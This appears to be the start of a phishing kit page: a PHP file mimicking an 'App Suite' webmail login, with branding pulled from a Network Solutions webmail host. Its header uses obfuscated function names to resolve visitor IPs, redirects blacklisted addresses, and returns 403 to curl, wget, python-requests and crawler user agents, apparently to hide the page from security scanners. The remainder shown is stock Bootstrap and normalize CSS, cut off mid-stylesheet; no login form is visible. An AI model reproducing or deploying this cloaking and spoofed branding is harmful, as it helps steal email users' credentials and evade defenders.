<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<html lang="en" class="fix-spin windows">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

    <meta name="msapplication-tap-highlight" content="no">
    <meta name="google" value="notranslate">
    <meta name="robots" content="noindex, nofollow">
    <meta name="theme-color" content="#fff">
    <meta name="application-name" content="App Suite">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-title" content="App Suite">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    
    <link id="homescreen-icon" rel="apple-touch-icon" href="https://webmail.networksolutionsemail.com/appsuite//themes/default/logo_180.png">
<style>
@charset "UTF-8";
/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */@-webkit-keyframes blink {
  0% {
    border-color:#ededed
  }
  to {
    border-color:#b94a48
  }
}
@-moz-keyframes blink {
  0% {
    border-color:#ededed
  }
  to {
    border-color:#b94a48
  }
}
@keyframes blink {
  0% {
    border-color:#ededed
  }
  to {
    border-color:#b94a48
  }
}
.tokenfield {
  height:auto;
  min-height:34px;
  padding-bottom:0
}
.tokenfield.focus {
  border-color:#66afe9;
  outline:0;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);
  box-shadow:inset 0 1px 1px #00000013,0 0 8px #66afe999
}
.tokenfield .token {
  -webkit-box-sizing:border-box;
  -moz-box-sizing:border-box;
  box-sizing:border-box;
  -webkit-border-radius:3px;
  -moz-border-radius:3px;
  border-radius:3px;
  display:inline-block;
  border:1px solid #d9d9d9;
  background-color:#ededed;
  white-space:nowrap;
  margin:-1px 5px 5px 0;
  height:22px;
  vertical-align:top;
  cursor:default
}
.tokenfield .token:hover {
  border-color:#b9b9b9
}
.tokenfield .token.active {
  border-color:#52a8ec;
  border-color:#52a8eccc
}
.tokenfield .token.duplicate {
  border-color:#ebccd1;
  -webkit-animation-name:blink;
  animation-name:blink;
  -webkit-animation-duration:.1s;
  animation-duration:.1s;
  -webkit-animation-direction:normal;
  animation-direction:normal;
  -webkit-animation-timing-function:ease;
  animation-timing-function:ease;
  -webkit-animation-iteration-count:infinite;
  animation-iteration-count:infinite
}
.tokenfield .token.invalid {
  background:none;
  border:1px solid transparent;
  -webkit-border-radius:0;
  -moz-border-radius:0;
  border-radius:0;
  border-bottom:1px dotted #d9534f
}
.tokenfield .token.invalid.active {
  background:#ededed;
  border:1px solid #ededed;
  -webkit-border-radius:3px;
  -moz-border-radius:3px;
  border-radius:3px
}
.tokenfield .token .token-label {
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  padding-left:4px;
  vertical-align:top
}
.tokenfield .token .close {
  font-family:Arial;
  display:inline-block;
  line-height:100%;
  font-size:1.1em;
  line-height:1.49em;
  margin-left:5px;
  float:none;
  height:100%;
  vertical-align:top;
  padding-right:4px
}
.tokenfield .token-input {
  background:none;
  width:60px;
  min-width:60px;
  border:0;
  height:20px;
  padding:0;
  margin-bottom:6px;
  -webkit-box-shadow:none;
  box-shadow:none
}
.tokenfield .token-input:focus {
  border-color:transparent;
  outline:0;
  -webkit-box-shadow:none;
  box-shadow:none
}
.tokenfield.disabled {
  cursor:not-allowed;
  background-color:#eee
}
.tokenfield.disabled .token-input {
  cursor:not-allowed
}
.tokenfield.disabled .token:hover {
  cursor:not-allowed;
  border-color:#d9d9d9
}
.tokenfield.disabled .token:hover .close {
  cursor:not-allowed;
  opacity:.2;
  filter:alpha(opacity=20)
}
.has-warning .tokenfield.focus {
  border-color:#66512c;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;
  box-shadow:inset 0 1px 1px #00000013,0 0 6px #c0a16b
}
.has-error .tokenfield.focus {
  border-color:#843534;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;
  box-shadow:inset 0 1px 1px #00000013,0 0 6px #ce8483
}
.has-success .tokenfield.focus {
  border-color:#2b542c;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;
  box-shadow:inset 0 1px 1px #00000013,0 0 6px #67b168
}
.tokenfield.input-sm,
.input-group-sm .tokenfield {
  min-height:30px;
  padding-bottom:0
}
.input-group-sm .token,
.tokenfield.input-sm .token {
  height:20px;
  margin-bottom:4px
}
.input-group-sm .token-input,
.tokenfield.input-sm .token-input {
  height:18px;
  margin-bottom:5px
}
.tokenfield.input-lg,
.input-group-lg .tokenfield {
  height:auto;
  min-height:45px;
  padding-bottom:4px
}
.input-group-lg .token,
.tokenfield.input-lg .token {
  height:25px
}
.input-group-lg .token .close,
.tokenfield.input-lg .token .close {
  line-height:1.3em
}
.input-group-lg .token-label,
.tokenfield.input-lg .token-label {
  line-height:23px
}
.input-group-lg .token-input,
.tokenfield.input-lg .token-input {
  height:23px;
  line-height:23px;
  margin-bottom:6px;
  vertical-align:top
}
.tokenfield.rtl {
  direction:rtl;
  text-align:right
}
.tokenfield.rtl .token {
  margin:-1px 0 5px 5px
}
.tokenfield.rtl .token .token-label {
  padding-left:0;
  padding-right:4px
}
/*!
* bootstrap-tokenfield
* https://github.com/sliptree/bootstrap-tokenfield
* Copyright 2013-2014 Sliptree and other contributors; Licensed MIT
*/.twitter-typeahead {
  width:100%;
  position:relative;
  vertical-align:top
}
.twitter-typeahead .tt-input,
.twitter-typeahead .tt-hint {
  margin:0;
  width:100%;
  vertical-align:middle;
  background-color:#fff;
  height:34px;
  padding:6px 12px;
  font-size:14px;
  line-height:1.428571429
}
.twitter-typeahead .tt-hint {
  color:#999;
  z-index:1;
  border:1px solid transparent
}
.twitter-typeahead .tt-input {
  color:#555;
  z-index:2
}
.twitter-typeahead .input-sm.tt-input,
.twitter-typeahead .hint-sm.tt-hint {
  border-radius:3px
}
.twitter-typeahead .input-lg.tt-input,
.twitter-typeahead .hint-lg.tt-hint {
  border-radius:6px
}
.input-group .twitter-typeahead:first-child .tt-input,
.input-group .twitter-typeahead:first-child .tt-hint {
  border-radius:4px 0 0 4px!important
}
.input-group .twitter-typeahead:last-child .tt-input,
.input-group .twitter-typeahead:last-child .tt-hint {
  border-radius:0 4px 4px 0!important
}
.input-group.input-group-sm .twitter-typeahead:first-child .tt-input,
.input-group.input-group-sm .twitter-typeahead:first-child .tt-hint {
  border-radius:3px 0 0 3px!important
}
.input-group.input-group-sm .twitter-typeahead:last-child .tt-input,
.input-group.input-group-sm .twitter-typeahead:last-child .tt-hint {
  border-radius:0 3px 3px 0!important
}
.input-group.input-group-lg .twitter-typeahead:first-child .tt-input,
.input-group.input-group-lg .twitter-typeahead:first-child .tt-hint {
  border-radius:6px 0 0 6px!important
}
.input-group.input-group-lg .twitter-typeahead:last-child .tt-input,
.input-group.input-group-lg .twitter-typeahead:last-child .tt-hint {
  border-radius:0 6px 6px 0!important
}
.input-sm.tt-input,
.hint-sm.tt-hint,
.input-group.input-group-sm .tt-input,
.input-group.input-group-sm .tt-hint {
  height:30px;
  padding:5px 10px;
  font-size:12px;
  line-height:1.5
}
.input-lg.tt-input,
.hint-lg.tt-hint,
.input-group.input-group-lg .tt-input,
.input-group.input-group-lg .tt-hint {
  height:45px;
  padding:10px 16px;
  font-size:18px;
  line-height:1.33
}
.tt-dropdown-menu {
  width:100%;
  min-width:160px;
  margin-top:2px;
  padding:5px 0;
  background-color:#fff;
  border:1px solid #ccc;
  border:1px solid rgba(0,0,0,.15);
  border-radius:6px;
  -webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);
  box-shadow:0 5px 10px #0003;
  -webkit-background-clip:padding-box;
  -moz-background-clip:padding;
  background-clip:padding-box
}
.tt-suggestion {
  display:block;
  padding:3px 20px
}
.tt-suggestion.tt-cursor {
  color:#262626;
  background-image:-webkit-linear-gradient(top,#f5f5f5 0%,#e8e8e8 100%);
  background-image:-o-linear-gradient(top,#f5f5f5 0%,#e8e8e8 100%);
  background-image:linear-gradient(to bottom,#f5f5f5,#e8e8e8);
  background-repeat:repeat-x;
  filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#fff5f5f5",endColorstr="#ffe8e8e8",GradientType=0)
}
.tt-suggestion.tt-cursor a {
  color:#fff
}
.tt-suggestion p {
  margin:0
}
.tokenfield .twitter-typeahead {
  width:auto
}
.tokenfield .twitter-typeahead .tt-hint {
  padding:0;
  height:20px
}
.tokenfield .twitter-typeahead .tt-suggestions {
  font-size:14px
}
.tokenfield.input-sm .twitter-typeahead .tt-input,
.tokenfield.input-sm .twitter-typeahead .tt-hint {
  height:18px;
  font-size:12px;
  line-height:1.5
}
.tokenfield.input-lg .twitter-typeahead .tt-input,
.tokenfield.input-lg .twitter-typeahead .tt-hint {
  height:23px;
  font-size:18px;
  line-height:1.33
}
html {
  font-family:sans-serif;
  -ms-text-size-adjust:100%;
  -webkit-text-size-adjust:100%
}
body {
  margin:0
}
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
menu,
nav,
section,
summary {
  display:block
}
audio,
canvas,
progress,
video {
  display:inline-block;
  vertical-align:baseline
}
audio:not([controls]) {
  display:none;
  height:0
}
[hidden],
template {
  display:none
}
a {
  background-color:transparent
}
a:active,
a:hover {
  outline:0
}
abbr[title] {
  border-bottom:none;
  text-decoration:underline;
  text-decoration:underline dotted
}
b,
strong {
  font-weight:700
}
dfn {
  font-style:italic
}
h1 {
  font-size:2em;
  margin:.67em 0
}
mark {
  background:#ff0;
  color:#000
}
small {
  font-size:80%
}
sub,
sup {
  font-size:75%;
  line-height:0;
  position:relative;
  vertical-align:baseline
}
sup {
  top:-.5em
}
sub {
  bottom:-.25em
}
img {
  border:0
}
svg:not(:root) {
  overflow:hidden
}
figure {
  margin:1em 40px
}
hr {
  box-sizing:content-box;
  height:0
}
pre {
  overflow:auto
}
code,
kbd,
pre,
samp {
  font-family:monospace,monospace;
  font-size:1em
}
button,
input,
optgroup,
select,
textarea {
  color:inherit;
  font:inherit;
  margin:0
}
button {
  overflow:visible
}
button,
select {
  text-transform:none
}
button,
html input[type=button],
input[type=reset],
input[type=submit] {
  -webkit-appearance:button;
  cursor:pointer
}
button[disabled],
html input[disabled] {
  cursor:default
}
button::-moz-focus-inner,
input::-moz-focus-inner {
  border:0;
  padding:0
}
input {
  line-height:normal
}
input[type=checkbox],
input[type=radio] {
  box-sizing:border-box;
  padding:0
}
input[type=number]::-webkit-inner-spin-button,
input[type=number]::-webkit-outer-spin-button {
  height:auto
}
input[type=search] {
  -webkit-appearance:textfield;
  box-sizing:content-box
}
input[type=search]::-webkit-search-cancel-button,
input[type=search]::-webkit-search-decoration {
  -webkit-appearance:none
}
fieldset {
  border:1px solid #c0c0c0;
  margin:0 2px;
  padding:.35em .625em .75em
}
legend {
  border:0;
  padding:0
}
textarea {
  overflow:auto
}
optgroup {
  font-weight:700
}
table {
  border-collapse:collapse;
  border-spacing:0
}
td,
th {
  padding:0
}
/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print {
  *,
  *:before,
  *:after {
    color:#000!important;
    text-shadow:none!important;
    background:transparent!important;
    box-shadow:none!important
  }
  a,
  a:visited {
    text-decoration:underline
  }
  a[href]:after {
    content:" (" attr(href) ")"
  }
  abbr[title]:after {
    content:" (" attr(title) ")"
  }
  a[href^="#"]:after,
  a[href^="javascript:"]:after {
    content:""
  }
  pre,
  blockquote {
    border:1px solid #999;
    page-break-inside:avoid
  }
  thead {
    display:table-header-group
  }
  tr,
  img {
    page-break-inside:avoid
  }
  img {
    max-width:100%!important
  }
  p,
  h2,
  h3 {
    orphans:3;
    widows:3
  }
  h2,
  h3 {
    page-break-after:avoid
  }
  .navbar {
    display:none
  }
  .btn>.caret,
  .dropup>.btn>.caret {
    border-top-color:#000!important
  }
  .label {
    border:1px solid #000
  }
  .table {
    border-collapse:collapse!important
  }
  .table td,
  .table th {
    background-color:#fff!important
  }
  .table-bordered th,
  .table-bordered td {
    border:1px solid #ddd!important
  }
}
* {
  -webkit-box-sizing:border-box;
  -moz-box-sizing:border-box;
  box-sizing:border-box
}
*:before,
*:after {
  -webkit-box-sizing:border-box;
  -moz-box-sizing:border-box;
  box-sizing:border-box
}
html {
  font-size:10px;
  -webkit-tap-highlight-color:rgba(0,0,0,0)
}
body {
  font-family:Helvetica Neue,Helvetica,Arial,sans-serif;
  font-size:14px;
  line-height:1.42857143;
  color:#333;
  background-color:#fff
}
input,
button,
select,
textarea {
  font-family:inherit;
  font-size:inherit;
  line-height:inherit
}
a {
  color:#337ab7;
  text-decoration:none
}
a:hover,
a:focus {
  color:#23527c;
  text-decoration:underline
}
a:focus {
  outline:5px auto -webkit-focus-ring-color;
  outline-offset:-2px
}
figure {
  margin:0
}
img {
  vertical-align:middle
}
.img-responsive,
.thumbnail>img,
.thumbnail a>img,
.carousel-inner>.item>img,
.carousel-inner>.item>a>img {
  display:block;
  max-width:100%;
  height:auto
}
.img-rounded {
  border-radius:6px
}
.img-thumbnail {
  padding:4px;
  line-height:1.42857143;
  background-color:#fff;
  border:1px solid #ddd;
  border-radius:4px;
  -webkit-transition:all .2s ease-in-out;
  -o-transition:all .2s ease-in-out;
  transition:all .2s ease-in-out;
  display:inline-block;
  max-width:100%;
  height:auto
}
.img-circle {
  border-radius:50%
}
hr {
  margin-top:20px;
  margin-bottom:20px;
  border:0;
  border-top:1px solid #eeeeee
}
.sr-only {
  position:absolute;
  width:1px;
  height:1px;
  padding:0;
  margin:-1px;
  overflow:hidden;
  clip:rect(0,0,0,0);
  border:0
}
.sr-only-focusable:active,
.sr-only-focusable:focus {
  position:static;
  width:auto;
  height:auto;
  margin:0;
  overflow:visible;
  clip:auto
}
[role=button] {
  cursor:pointer
}
h1,
h2,
h3,
h4,
h5,
h6,
.h1,
.h2,
.h3,
.h4,
.h5,
.h6 {
  font-family:inherit;
  font-weight:500;
  line-height:1.1;
  color:inherit
}
h1 small,
h2 small,
h3 small,
h4 small,
h5 small,
h6 small,
.h1 small,
.h2 small,
.h3 small,
.h4 small,
.h5 small,
.h6 small,
h1 .small,
h2 .small,
h3 .small,
h4 .small,
h5 .small,
h6 .small,
.h1 .small,
.h2 .small,
.h3 .small,
.h4 .small,
.h5 .small,
.h6 .small {
  font-weight:400;
  line-height:1;
  color:#777
}
h1,
.h1,
h2,
.h2,
h3,
.h3 {
  margin-top:20px;
  margin-bottom:10px
}
h1 small,
.h1 small,
h2 small,
.h2 small,
h3 small,
.h3 small,
h1 .small,
.h1 .small,
h2 .small,
.h2 .small,
h3 .small,
.h3 .small {
  font-size:65%
}
h4,
.h4,
h5,
.h5,
h6,
.h6 {
  margin-top:10px;
  margin-bottom:10px
}
h4 small,
.h4 small,
h5 small,
.h5 small,
h6 small,
.h6 small,
h4 .small,
.h4 .small,
h5 .small,
.h5 .small,
h6 .small,
.h6 .small {
  font-size:75%
}
h1,
.h1 {
  font-size:36px
}
h2,
.h2 {
  font-size:30px
}
h3,
.h3 {
  font-size:24px
}
h4,
.h4 {
  font-size:18px
}
h5,
.h5 {
  font-size:14px
}
h6,
.h6 {
  font-size:12px
}
p {
  margin:0 0 10px
}
.lead {
  margin-bottom:20px;
  font-size:16px;
  font-weight:300;
  line-height:1.4
}
@media (min-width: 768px) {
  .lead {
    font-size:21px
  }
}
small,
.small {
  font-size:85%
}
mark,
.mark {
  padding:.2em;
  background-color:#fcf8e3
}
.text-justify {
  text-align:justify
}
.text-nowrap {
  white-space:nowrap
}
.text-lowercase {
  text-transform:lowercase
}
.text-uppercase {
  text-transform:uppercase
}
.text-capitalize {
  text-transform:capitalize
}
.text-muted {
  color:#777
}
.text-primary {
  color:#337ab7
}
a.text-primary:hover,
a.text-primary:focus {
  color:#286090
}
.text-success {
  color:#3c763d
}
a.text-success:hover,
a.text-success:focus {
  color:#2b542c
}
.text-info {
  color:#31708f
}
a.text-info:hover,
a.text-info:focus {
  color:#245269
}
.text-warning {
  color:#8a6d3b
}
a.text-warning:hover,
a.text-warning:focus {
  color:#66512c
}
.text-danger {
  color:#a94442
}
a.text-danger:hover,
a.text-danger:focus {
  color:#843534
}
.bg-primary {
  color:#fff;
  background-color:#337ab7
}
a.bg-primary:hover,
a.bg-primary:focus {
  background-color:#286090
}
.bg-success {
  background-color:#dff0d8
}
a.bg-success:hover,
a.bg-success:focus {
  background-color:#c1e2b3
}
.bg-info {
  background-color:#d9edf7
}
a.bg-info:hover,
a.bg-info:focus {
  background-color:#afd9ee
}
.bg-warning {
  background-color:#fcf8e3
}
a.bg-warning:hover,
a.bg-warning:focus {
  background-color:#f7ecb5
}
.bg-danger {
  background-color:#f2dede
}
a.bg-danger:hover,
a.bg-danger:focus {
  background-color:#e4b9b9
}
.page-header {
  padding-bottom:9px;
  margin:40px 0 20px;
  border-bottom:1px solid #eeeeee
}
ul,
ol {
  margin-top:0;
  margin-bottom:10px
}
ul ul,
ol ul,
ul ol,
ol ol {
  margin-bottom:0
}
.list-unstyled {
  padding-left:0;
  list-style:none
}
.list-inline {
  padding-left:0;
  list-style:none;
  margin-left:-5px
}
.list-inline>li {
  display:inline-block;
  padding-right:5px;
  padding-left:5px
}
dl {
  margin-top:0;
  margin-bottom:20px
}
dt,
dd {
  line-height:1.42857143
}
dt {
  font-weight:700
}
dd {
  margin-left:0
}
@media (min-width: 768px) {
  .dl-horizontal dt {
    float:left;
    width:160px;
    clear:left;
    text-align:right;
    overflow:hidden;
    text-overflow:ellipsis;
    white-space:nowrap
  }
  .dl-horizontal dd {
    margin-left:180px
  }
}
abbr[title],
abbr[data-original-title] {
  cursor:help
}
.initialism {
  font-size:90%;
  text-transform:uppercase
}
blockquote {
  padding:10px 20px;
  margin:0 0 20px;
  font-size:17.5px;
  border-left:5px solid #eeeeee
}
blockquote p:last-child,
blockquote ul:last-child,
blockquote ol:last-child {
  margin-bottom:0
}
blockquote footer,
blockquote small,
blockquote .small {
  display:block;
  font-size:80%;
  line-height:1.42857143;
  color:#777
}
blockquote footer:before,
blockquote small:before,
blockquote .small:before {
  content:"— "
}
.blockquote-reverse,
blockquote.pull-right {
  padding-right:15px;
  padding-left:0;
  text-align:right;
  border-right:5px solid #eeeeee;
  border-left:0
}
.blockquote-reverse footer:before,
blockquote.pull-right footer:before,
.blockquote-reverse small:before,
blockquote.pull-right small:before,
.blockquote-reverse .small:before,
blockquote.pull-right .small:before {
  content:""
}
.blockquote-reverse footer:after,
blockquote.pull-right footer:after,
.blockquote-reverse small:after,
blockquote.pull-right small:after,
.blockquote-reverse .small:after,
blockquote.pull-right .small:after {
  content:" —"
}
address {
  margin-bottom:20px;
  font-style:normal;
  line-height:1.42857143
}
code,
kbd,
pre,
samp {
  font-family:Menlo,Monaco,Consolas,Courier New,monospace
}
code {
  padding:2px 4px;
  font-size:90%;
  color:#c7254e;
  background-color:#f9f2f4;
  border-radius:4px
}
kbd {
  padding:2px 4px;
  font-size:90%;
  color:#fff;
  background-color:#333;
  border-radius:3px;
  box-shadow:inset 0 -1px #00000040
}
kbd kbd {
  padding:0;
  font-size:100%;
  font-weight:700;
  box-shadow:none
}
pre {
  display:block;
  padding:9.5px;
  margin:0 0 10px;
  font-size:13px;
  line-height:1.42857143;
  color:#333;
  word-break:break-all;
  word-wrap:break-word;
  background-color:#f5f5f5;
  border:1px solid #ccc;
  border-radius:4px
}
pre code {
  padding:0;
  font-size:inherit;
  color:inherit;
  white-space:pre-wrap;
  background-color:transparent;
  border-radius:0
}
.pre-scrollable {
  max-height:340px;
  overflow-y:scroll
}
.container {
  padding-right:15px;
  padding-left:15px;
  margin-right:auto;
  margin-left:auto
}
@media (min-width: 768px) {
  .container {
    width:750px
  }
}
@media (min-width: 992px) {
  .container {
    width:970px
  }
}
@media (min-width: 1200px) {
  .container {
    width:1170px
  }
}
.container-fluid {
  padding-right:15px;
  padding-left:15px;
  margin-right:auto;
  margin-left:auto
}
.row {
  margin-right:-15px;
  margin-left:-15px
}
.row-no-gutters {
  margin-right:0;
  margin-left:0
}
.row-no-gutters [class*=col-] {
  padding-right:0;
  padding-left:0
}
.col-xs-1,
.col-sm-1,
.col-md-1,
.col-lg-1,
.col-xs-2,
.col-sm-2,
.col-md-2,
.col-lg-2,
.col-xs-3,
.col-sm-3,
.col-md-3,
.col-lg-3,
.col-xs-4,
.col-sm-4,
.col-md-4,
.col-lg-4,
.col-xs-5,
.col-sm-5,
.col-md-5,
.col-lg-5,
.col-xs-6,
.col-sm-6,
.col-md-6,
.col-lg-6,
.col-xs-7,
.col-sm-7,
.col-md-7,
.col-lg-7,
.col-xs-8,
.col-sm-8,
.col-md-8,
.col-lg-8,
.col-xs-9,
.col-sm-9,
.col-md-9,
.col-lg-9,
.col-xs-10,
.col-sm-10,
.col-md-10,
.col-lg-10,
.col-xs-11,
.col-sm-11,
.col-md-11,
.col-lg-11,
.col-xs-12,
.col-sm-12,
.col-md-12,
.col-lg-12 {
  position:relative;
  min-height:1px;
  padding-right:15px;
  padding-left:15px
}
.col-xs-1,
.col-xs-2,
.col-xs-3,
.col-xs-4,
.col-xs-5,
.col-xs-6,
.col-xs-7,
.col-xs-8,
.col-xs-9,
.col-xs-10,
.col-xs-11,
.col-xs-12 {
  float:left
}
.col-xs-12 {
  width:100%
}
.col-xs-11 {
  width:91.66666667%
}
.col-xs-10 {
  width:83.33333333%
}
.col-xs-9 {
  width:75%
}
.col-xs-8 {
  width:66.66666667%
}
.col-xs-7 {
  width:58.33333333%
}
.col-xs-6 {
  width:50%
}
.col-xs-5 {
  width:41.66666667%
}
.col-xs-4 {
  width:33.33333333%
}
.col-xs-3 {
  width:25%
}
.col-xs-2 {
  width:16.66666667%
}
.col-xs-1 {
  width:8.33333333%
}
.col-xs-pull-12 {
  right:100%
}
.col-xs-pull-11 {
  right:91.66666667%
}
.col-xs-pull-10 {
  right:83.33333333%
}
.col-xs-pull-9 {
  right:75%
}
.col-xs-pull-8 {
  right:66.66666667%
}
.col-xs-pull-7 {
  right:58.33333333%
}
.col-xs-pull-6 {
  right:50%
}
.col-xs-pull-5 {
  right:41.66666667%
}
.col-xs-pull-4 {
  right:33.33333333%
}
.col-xs-pull-3 {
  right:25%
}
.col-xs-pull-2 {
  right:16.66666667%
}
.col-xs-pull-1 {
  right:8.33333333%
}
.col-xs-pull-0 {
  right:auto
}
.col-xs-push-12 {
  left:100%
}
.col-xs-push-11 {
  left:91.66666667%
}
.col-xs-push-10 {
  left:83.33333333%
}
.col-xs-push-9 {
  left:75%
}
.col-xs-push-8 {
  left:66.66666667%
}
.col-xs-push-7 {
  left:58.33333333%
}
.col-xs-push-6 {
  left:50%
}
.col-xs-push-5 {
  left:41.66666667%
}
.col-xs-push-4 {
  left:33.33333333%
}
.col-xs-push-3 {
  left:25%
}
.col-xs-push-2 {
  left:16.66666667%
}
.col-xs-push-1 {
  left:8.33333333%
}
.col-xs-push-0 {
  left:auto
}
.col-xs-offset-12 {
  margin-left:100%
}
.col-xs-offset-11 {
  margin-left:91.66666667%
}
.col-xs-offset-10 {
  margin-left:83.33333333%
}
.col-xs-offset-9 {
  margin-left:75%
}
.col-xs-offset-8 {
  margin-left:66.66666667%
}
.col-xs-offset-7 {
  margin-left:58.33333333%
}
.col-xs-offset-6 {
  margin-left:50%
}
.col-xs-offset-5 {
  margin-left:41.66666667%
}
.col-xs-offset-4 {
  margin-left:33.33333333%
}
.col-xs-offset-3 {
  margin-left:25%
}
.col-xs-offset-2 {
  margin-left:16.66666667%
}
.col-xs-offset-1 {
  margin-left:8.33333333%
}
.col-xs-offset-0 {
  margin-left:0%
}
@media (min-width: 768px) {
  .col-sm-1,
  .col-sm-2,
  .col-sm-3,
  .col-sm-4,
  .col-sm-5,
  .col-sm-6,
  .col-sm-7,
  .col-sm-8,
  .col-sm-9,
  .col-sm-10,
  .col-sm-11,
  .col-sm-12 {
    float:left
  }
  .col-sm-12 {
    width:100%
  }
  .col-sm-11 {
    width:91.66666667%
  }
  .col-sm-10 {
    width:83.33333333%
  }
  .col-sm-9 {
    width:75%
  }
  .col-sm-8 {
    width:66.66666667%
  }
  .col-sm-7 {
    width:58.33333333%
  }
  .col-sm-6 {
    width:50%
  }
  .col-sm-5 {
    width:41.66666667%
  }
  .col-sm-4 {
    width:33.33333333%
  }
  .col-sm-3 {
    width:25%
  }
  .col-sm-2 {
    width:16.66666667%
  }
  .col-sm-1 {
    width:8.33333333%
  }
  .col-sm-pull-12 {
    right:100%
  }
  .col-sm-pull-11 {
    right:91.66666667%
  }
  .col-sm-pull-10 {
    right:83.33333333%
  }
  .col-sm-pull-9 {
    right:75%
  }
  .col-sm-pull-8 {
    right:66.66666667%
  }
  .col-sm-pull-7 {
    right:58.33333333%
  }
  .col-sm-pull-6 {
    right:50%
  }
  .col-sm-pull-5 {
    right:41.66666667%
  }
  .col-sm-pull-4 {
    right:33.33333333%
  }
  .col-sm-pull-3 {
    right:25%
  }
  .col-sm-pull-2 {
    right:16.66666667%
  }
  .col-sm-pull-1 {
    right:8.33333333%
  }
  .col-sm-pull-0 {
    right:auto
  }
  .col-sm-push-12 {
    left:100%
  }
  .col-sm-push-11 {
    left:91.66666667%
  }
  .col-sm-push-10 {
    left:83.33333333%
  }
  .col-sm-push-9 {
    left:75%
  }
  .col-sm-push-8 {
    left:66.66666667%
  }
  .col-sm-push-7 {
    left:58.33333333%
  }
  .col-sm-push-6 {
    left:50%
  }
  .col-sm-push-5 {
    left:41.66666667%
  }
  .col-sm-push-4 {
    left:33.33333333%
  }
  .col-sm-push-3 {
    left:25%
  }
  .col-sm-push-2 {
    left:16.66666667%
  }
  .col-sm-push-1 {
    left:8.33333333%
  }
  .col-sm-push-0 {
    left:auto
  }
  .col-sm-offset-12 {
    margin-left:100%
  }
  .col-sm-offset-11 {
    margin-left:91.66666667%
  }
  .col-sm-offset-10 {
    margin-left:83.33333333%
  }
  .col-sm-offset-9 {
    margin-left:75%
  }
  .col-sm-offset-8 {
    margin-left:66.66666667%
  }
  .col-sm-offset-7 {
    margin-left:58.33333333%
  }
  .col-sm-offset-6 {
    margin-left:50%
  }
  .col-sm-offset-5 {
    margin-left:41.66666667%
  }
  .col-sm-offset-4 {
    margin-left:33.33333333%
  }
  .col-sm-offset-3 {
    margin-left:25%
  }
  .col-sm-offset-2 {
    margin-left:16.66666667%
  }
  .col-sm-offset-1 {
    margin-left:8.33333333%
  }
  .col-sm-offset-0 {
    margin-left:0%
  }
}
@media (min-width: 992px) {
  .col-md-1,
  .col-md-2,
  .col-md-3,
  .col-md-4,
  .col-md-5,
  .col-md-6,
  .col-md-7,
  .col-md-8,
  .col-md-9,
  .col-md-10,
  .col-md-11,
  .col-md-12 {
    float:left
  }
  .col-md-12 {
    width:100%
  }
  .col-md-11 {
    width:91.66666667%
  }
  .col-md-10 {
    width:83.33333333%
  }
  .col-md-9 {
    width:75%
  }
  .col-md-8 {
    width:66.66666667%
  }
  .col-md-7 {
    width:58.33333333%
  }
  .col-md-6 {
    width:50%
  }
  .col-md-5 {
    width:41.66666667%
  }
  .col-md-4 {
    width:33.33333333%
  }
  .col-md-3 {
    width:25%
  }
  .col-md-2 {
    width:16.66666667%
  }
